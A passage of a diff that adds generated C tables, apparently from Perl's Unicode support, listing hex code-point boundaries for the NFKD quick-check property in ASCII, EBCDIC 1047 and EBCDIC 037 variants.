+	0xF1,
+	0xF7,
+	0xF9,
+	0xFE,
+	0xFF,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x132,
+	0x138,
+	0x139,
+	0x141,
+	0x143,
+	0x14A,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x180,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1C4,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x587,
+	0x588,
+	0x622,
+	0x627,
+	0x675,
+	0x679,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x10FC,
+	0x10FD,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309B,
+	0x309D,
+	0x309E,
+	0x30A0,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFKDQC__N_invlist[] = { /* for EBCDIC 1047 */
+	779,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xB7,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xCB,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xEA,
+	0xF0,
+	0xFA,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x132,
+	0x138,
+	0x139,
+	0x141,
+	0x143,
+	0x14A,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x180,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1C4,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x587,
+	0x588,
+	0x622,
+	0x627,
+	0x675,
+	0x679,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x10FC,
+	0x10FD,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309B,
+	0x309D,
+	0x309E,
+	0x30A0,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_NFKDQC__N_invlist[] = { /* for EBCDIC 037 */
+	781,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xAD,
+	0xAE,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xBF,
+	0xCB,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xEA,
+	0xF0,
+	0xFA,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x132,
+	0x138,
+	0x139,
+	0x141,
+	0x143,
+	0x14A,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x180,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1C4,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
